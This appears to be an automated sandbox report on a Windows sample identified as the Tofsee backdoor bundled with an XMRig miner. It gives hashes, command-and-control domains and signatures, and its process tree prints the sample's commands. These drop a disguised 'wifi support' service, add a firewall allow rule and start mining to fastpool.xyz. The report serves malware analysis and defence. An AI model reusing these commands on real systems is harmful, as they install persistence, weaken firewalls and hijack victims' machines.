Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    29-10-2022 08:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    257eb857f8bb4557e98acdc30f209b66

  • SHA1

    f6e57354bea528c4db7c1096e53f8c5c6b94273d

  • SHA256

    ec9baf02d53da35618afb04be30f976c97fcca173712fa2acfefe979e598cb9a

  • SHA512

    8d0615a278e9124f6a66ec2a2a75d3bed26fa61bfaece95d7bc9a14fb27adafd2825e26c3b9e558d158e986d795823b1e7784e047c6b3d48fca348dd2a9b5e0e

  • SSDEEP

    6144:sSFBiHLLktQEkXoaB8oLYzW7tJHuDLeGW:tBygtQEktB8hq7/HuvjW

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dynyuidv\
      2⤵
        PID:1144
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fvomjszy.exe" C:\Windows\SysWOW64\dynyuidv\
        2⤵
          PID:1936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dynyuidv binPath= "C:\Windows\SysWOW64\dynyuidv\fvomjszy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dynyuidv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dynyuidv
          2⤵
          • Launches sc.exe
          PID:1816
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1704
      • C:\Windows\SysWOW64\dynyuidv\fvomjszy.exe
        C:\Windows\SysWOW64\dynyuidv\fvomjszy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:672
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
              PID:1120

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fvomjszy.exe
          Filesize

          11.7MB

          MD5

          cc34f596d5a4032a4d89a4d2bdf83de9

          SHA1

          21c473751f604cc87d04de19bc1330f25e98a55e

          SHA256

          bb6cb12e3541bcf0b5cdb7e6fbad2d304626669610007442285570170b1ca25b

          SHA512

          deea92fed3f2b0016a98bb6135ea55b24588f073289cfd2d7d1bc3f61487dbdcbb22b0ded6546369f7b9d5cece3ab6a0e88c7e1e637e8519ae38d7c03b421d16

          Download Submit

        • C:\Windows\SysWOW64\dynyuidv\fvomjszy.exe
          Filesize

          11.7MB

          MD5

          cc34f596d5a4032a4d89a4d2bdf83de9

          SHA1

          21c473751f604cc87d04de19bc1330f25e98a55e

          SHA256

          bb6cb12e3541bcf0b5cdb7e6fbad2d304626669610007442285570170b1ca25b

          SHA512

          deea92fed3f2b0016a98bb6135ea55b24588f073289cfd2d7d1bc3f61487dbdcbb22b0ded6546369f7b9d5cece3ab6a0e88c7e1e637e8519ae38d7c03b421d16

          Download Submit

        • memory/632-83-0x0000000000190000-0x0000000000196000-memory.dmp

          Filesize

          24KB

          Download

        • memory/632-80-0x0000000001950000-0x0000000001B5F000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/632-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

          Filesize

          84KB

          Download

        • memory/632-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

          Filesize

          84KB

          Download

        • memory/632-86-0x00000000001A0000-0x00000000001B0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/632-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

          Filesize

          84KB

          Download

        • memory/632-95-0x0000000000330000-0x0000000000337000-memory.dmp

          Filesize

          28KB

          Download

        • memory/632-92-0x00000000059B0000-0x0000000005DBB000-memory.dmp

          Filesize

          4.0MB

          Download

        • memory/632-89-0x00000000001D0000-0x00000000001D5000-memory.dmp

          Filesize

          20KB

          Download

        • memory/632-106-0x00000000000C0000-0x00000000000D5000-memory.dmp

          Filesize

          84KB

          Download

        • memory/672-78-0x0000000000400000-0x0000000002C2F000-memory.dmp

          Filesize

          40.2MB

          Download

        • memory/672-75-0x0000000002D3A000-0x0000000002D4F000-memory.dmp

          Filesize

          84KB

          Download

        • memory/1120-100-0x00000000002C0000-0x00000000003B1000-memory.dmp

          Filesize

          964KB

          Download

        • memory/1120-98-0x00000000002C0000-0x00000000003B1000-memory.dmp

          Filesize

          964KB

          Download

        • memory/1504-54-0x00000000768A1000-0x00000000768A3000-memory.dmp

          Filesize

          8KB

          Download

        • memory/1504-57-0x0000000000400000-0x0000000002C2F000-memory.dmp

          Filesize

          40.2MB

          Download

        • memory/1504-67-0x0000000000400000-0x0000000002C2F000-memory.dmp

          Filesize

          40.2MB

          Download

        • memory/1504-66-0x0000000002CBA000-0x0000000002CCF000-memory.dmp

          Filesize

          84KB

          Download

        • memory/1504-55-0x0000000002CBA000-0x0000000002CCF000-memory.dmp

          Filesize

          84KB

          Download

        • memory/1504-56-0x00000000002B0000-0x00000000002C3000-memory.dmp

          Filesize

          76KB

          Download